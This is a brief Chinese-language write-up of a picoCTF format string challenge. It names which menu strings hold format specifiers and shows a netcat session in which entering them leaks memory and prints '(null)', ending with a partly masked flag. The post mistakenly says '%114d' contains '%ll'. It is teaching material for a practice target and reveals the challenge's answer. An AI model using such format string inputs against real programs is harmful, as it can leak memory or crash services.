題目連結

https://learn.cylabacademy.org/library/433

題目解法

這題題目是有關於格式化字串攻擊 (Format String Attack),要從選項中選出潛在風險的字串。
第一題的三個字串中,Gr%114d_Cheese 包含 %ll。

"Breakf@st_Burger", "Gr%114d_Cheese", "Bac0n_D3luxe"

第二題的三個字串中,Cla%sic_Che%s%steak 包含 %s。

Pe%to_Portobello, $outhwest_Burger, Cla%sic_Che%s%steak
webshell:~$ nc mimas.picoctf.net 49550
Welcome to our newly-opened burger place Pico 'n Patty! Can you help the picky customers find their favorite burger?
Here comes the first customer Patrick who wants a giant bite.
Please choose from the following burgers: Breakf@st_Burger, Gr%114d_Cheese, Bac0n_D3luxe
Enter your recommendation: Gr%114d_Cheese
Gr                                                                                                           4202954_Cheese
Good job! Patrick is happy! Now can you serve the second customer?
Sponge Bob wants something outrageous that would break the shop (better be served quick before the shop owner kicks you out!)
Please choose from the following burgers: Pe%to_Portobello, $outhwest_Burger, Cla%sic_Che%s%steak
Enter your recommendation: Cla%sic_Che%s%steak
ClaCla%sic_Che%s%steakic_Che(null)
picoCTF{7h3---------------------------------405}